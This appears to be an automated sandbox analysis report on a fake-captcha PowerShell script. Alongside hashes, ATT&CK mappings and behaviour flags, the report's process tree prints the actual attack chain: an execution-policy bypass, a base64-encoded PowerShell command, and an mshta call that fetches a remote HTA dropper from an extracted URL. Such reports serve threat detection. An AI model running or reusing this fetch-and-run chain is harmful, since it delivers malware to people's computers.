b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1

Analysis

max time kernel
101s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
08/08/2024, 18:30

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General

Target
verify-captcha-987.b-cdn.net.ps1
Size 147B
Sample240808-w5sk1a1cmd
SHA256 b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1
MD5 461d549b45e71d09f616ea14cf0f46d2
SHA1 eb06f635e30520fd8e764a3c6fc1216c798400c7
SHA512 ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f
MD5 SHA1 SHA512

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://microsoftcamp-c3.b-cdn.net/camp-v1

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
2	4652	mshta.exe
10	4652	mshta.exe
13	4652	mshta.exe
15	4652	mshta.exe
22	4652	mshta.exe
23	4652	mshta.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2340	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2340	powershell.exe
2340	powershell.exe
2228	powershell.exe
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 2228	2340	powershell.exe	84
PID 2340 wrote to memory of 2228	2340	powershell.exe	84
PID 2228 wrote to memory of 4652	2228	powershell.exe	85
PID 2228 wrote to memory of 4652	2228	powershell.exe	85

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\verify-captcha-987.b-cdn.net.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v1
    3⤵
    - Blocklisted process makes network request
    PID:4652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

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__PSScriptPolicyTest_2c5uymh3.fa2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2c5uymh3.fa2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2228-22-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

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memory/2228-23-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

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memory/2228-26-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

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memory/2228-27-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

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memory/2340-0-0x00007FF9052A3000-0x00007FF9052A5000-memory.dmp

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memory/2340-3-0x000001ED26400000-0x000001ED26422000-memory.dmp

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memory/2340-11-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

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memory/2340-12-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

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memory/2340-32-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

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